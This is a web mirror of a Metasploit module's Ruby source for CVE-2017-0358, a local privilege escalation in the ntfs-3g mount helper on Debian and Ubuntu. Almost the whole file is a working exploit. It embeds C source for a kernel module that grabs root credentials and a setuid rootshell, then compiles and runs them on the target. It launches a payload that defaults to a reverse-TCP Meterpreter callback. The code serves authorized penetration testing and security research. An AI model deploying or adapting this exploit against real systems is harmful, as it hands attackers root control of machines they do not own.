Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/ntfs3g_priv_esc.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GoodRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Post::File
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
{
18
'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',
19
'Description' => %q{
20
ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.
21
This can be abused to load a kernel module and execute a binary payload as the root user.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'[email protected]', # discovery
26
'h00die <[email protected]>' # metasploit module
27
],
28
'Platform' => [ 'linux' ],
29
'Arch' => [ ARCH_X86, ARCH_X64 ],
30
'SessionTypes' => [ 'shell', 'meterpreter' ],
31
'References' => [
32
[ 'CVE', '2017-0358' ],
33
[ 'EDB', '41356' ],
34
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]
35
],
36
'Targets' => [
37
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
38
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
39
],
40
'DefaultOptions' => {
41
'payload' => 'linux/x64/meterpreter/reverse_tcp',
42
'PrependFork' => true,
43
},
44
'DefaultTarget' => 1,
45
'DisclosureDate' => '2017-01-05',
46
'Privileged' => true,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
}
53
)
54
)
55
register_advanced_options [
56
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
57
]
58
end
59
60
def check
61
# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.
62
def headers_installed?()
63
output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
64
if output
65
if output.include?('linux-headers')
66
return true
67
else
68
print_error('Linux kernel headers not available, compiling will fail.')
69
return false
70
end
71
end
72
false
73
end
74
75
output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')
76
if output
77
if output.include?('1:2015.3.14AR.1-1build1') # Ubuntu 16.04 LTS
78
print_good('Vulnerable Ubuntu 16.04 detected')
79
CheckCode::Appears
80
elsif output.include?('1:2016.2.22AR.1-3') # Ubuntu 16.10
81
print_good('Vulnerable Ubuntu 16.10 detected')
82
CheckCode::Appears
83
elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') # Debian Wheezy, we also need linux-source installed
84
print_good('Vulnerable Debian 7 (wheezy) detected')
85
if headers_installed?()
86
CheckCode::Appears
87
else
88
CheckCode::Safe
89
end
90
CheckCode::Appears
91
elsif output.include?('1:2014.2.15AR.2-1+deb8u2') # Debian Jessie, we also need linux-source installed
92
print_good('Vulnerable Debian 8 (jessie) detected')
93
if headers_installed?()
94
CheckCode::Appears
95
else
96
CheckCode::Safe
97
end
98
CheckCode::Appears
99
else
100
print_error("Version installed not vulnerable: #{output}")
101
CheckCode::Safe
102
end
103
else
104
print_error('ntfs-3g not installed')
105
CheckCode::Safe
106
end
107
end
108
109
def exploit
110
def upload_and_compile(filename, file_path, file_content, compile = nil)
111
rm_f "#{file_path}"
112
if not compile.nil?
113
rm_f "#{file_path}.c"
114
vprint_status("Writing #{filename} to #{file_path}.c")
115
write_file("#{file_path}.c", file_content)
116
register_file_for_cleanup("#{file_path}.c")
117
output = cmd_exec(compile)
118
if output != ''
119
print_error(output)
120
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
121
end
122
else
123
vprint_status("Writing #{filename} to #{file_path}")
124
write_file(file_path, file_content)
125
end
126
cmd_exec("chmod +x #{file_path}");
127
register_file_for_cleanup(file_path)
128
end
129
130
# These are direct copies of the modules from EDB
131
rootmod = %q{
132
#include <linux/module.h>
133
#include <linux/kernel.h>
134
#include <linux/cred.h>
135
#include <linux/syscalls.h>
136
#include <linux/kallsyms.h>
137
138
static int suidfile_fd = -1;
139
module_param(suidfile_fd, int, 0);
140
141
static int __init init_rootmod(void) {
142
int (*sys_fchown_)(int fd, int uid, int gid);
143
int (*sys_fchmod_)(int fd, int mode);
144
const struct cred *kcred, *oldcred;
145
146
sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");
147
sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");
148
149
printk(KERN_INFO "rootmod loading\n");
150
kcred = prepare_kernel_cred(NULL);
151
oldcred = override_creds(kcred);
152
sys_fchown_(suidfile_fd, 0, 0);
153
sys_fchmod_(suidfile_fd, 06755);
154
revert_creds(oldcred);
155
return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
156
}
157
158
static void __exit cleanup_rootmod(void) {}
159
160
module_init(init_rootmod);
161
module_exit(cleanup_rootmod);
162
163
MODULE_LICENSE("GPL v2");
164
}
165
166
rootshell = %q{
167
#include <unistd.h>
168
#include <err.h>
169
#include <stdio.h>
170
#include <sys/types.h>
171
172
int main(void) {
173
if (setuid(0) || setgid(0))
174
err(1, "setuid/setgid");
175
fputs("we have root privs now...\n", stderr);
176
execl("/bin/bash", "bash", NULL);
177
err(1, "execl");
178
}
179
}
180
181
# we moved sploit.c off since it was so big to the external sources folder
182
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')
183
fd = ::File.open(path, "rb")
184
sploit = fd.read(fd.stat.size)
185
fd.close
186
187
rootmod_filename = 'rootmod'
188
rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"
189
rootshell_filename = 'rootshell'
190
rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"
191
sploit_filename = 'sploit'
192
sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
193
payload_filename = rand_text_alpha(8)
194
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
195
196
if check != CheckCode::Appears
197
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
198
end
199
200
def has_prereqs?()
201
def check_gcc?()
202
gcc = cmd_exec('which gcc')
203
if gcc.include?('gcc')
204
vprint_good('gcc is installed')
205
return true
206
else
207
print_error('gcc is not installed. Compiling will fail.')
208
return false
209
end
210
end
211
212
def check_make?()
213
make = cmd_exec('which make')
214
if make.include?('make')
215
vprint_good('make is installed')
216
return true
217
else
218
print_error('make is not installed. Compiling will fail.')
219
return false
220
end
221
end
222
223
return check_make?() && check_gcc?()
224
end
225
226
if has_prereqs?()
227
vprint_status('Live compiling exploit on system')
228
else
229
fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
230
end
231
232
# make our substitutions so things are dynamic
233
rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
234
"return execl(\"#{payload_path}\", \"\", NULL);") # launch our payload, and do it in a return to not freeze the executable
235
print_status('Writing files to target')
236
cmd_exec("cd #{datastore['WritableDir']}")
237
238
# write all the files and compile. This is equivalent to the original compile.sh
239
# gcc -o rootshell rootshell.c -Wall
240
upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")
241
# gcc -o sploit sploit.c -Wall -std=gnu99
242
upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")
243
# make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
244
upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)
245
upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)
246
cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')
247
upload_and_compile('payload', payload_path, generate_payload_exe)
248
249
# This is equivalent to the 2nd half of the compile.sh file
250
cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')
251
cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')
252
cmd_exec('/sbin/depmod -b depmod_tmp/')
253
cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')
254
cmd_exec('rm -rf depmod_tmp')
255
256
register_file_for_cleanup("#{rootmod_path}.ko")
257
register_file_for_cleanup("#{rootmod_path}.mod.c")
258
register_file_for_cleanup("#{rootmod_path}.mod.o")
259
register_file_for_cleanup("#{rootmod_path}.o")
260
261
# and here we go!
262
print_status('Starting execution of priv esc.')
263
output = cmd_exec(sploit_path)
264
unless session_created?
265
# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,
266
# but binary payload was caught, or NIPS shut down the callback etc.
267
vprint_error(output)
268
end
269
end
270
271
def on_new_session(session)
272
# if we don't /bin/bash here, our payload times out
273
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
274
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
275
session.shell_command_token('/bin/bash')
276
super
277
end
278
end
279
280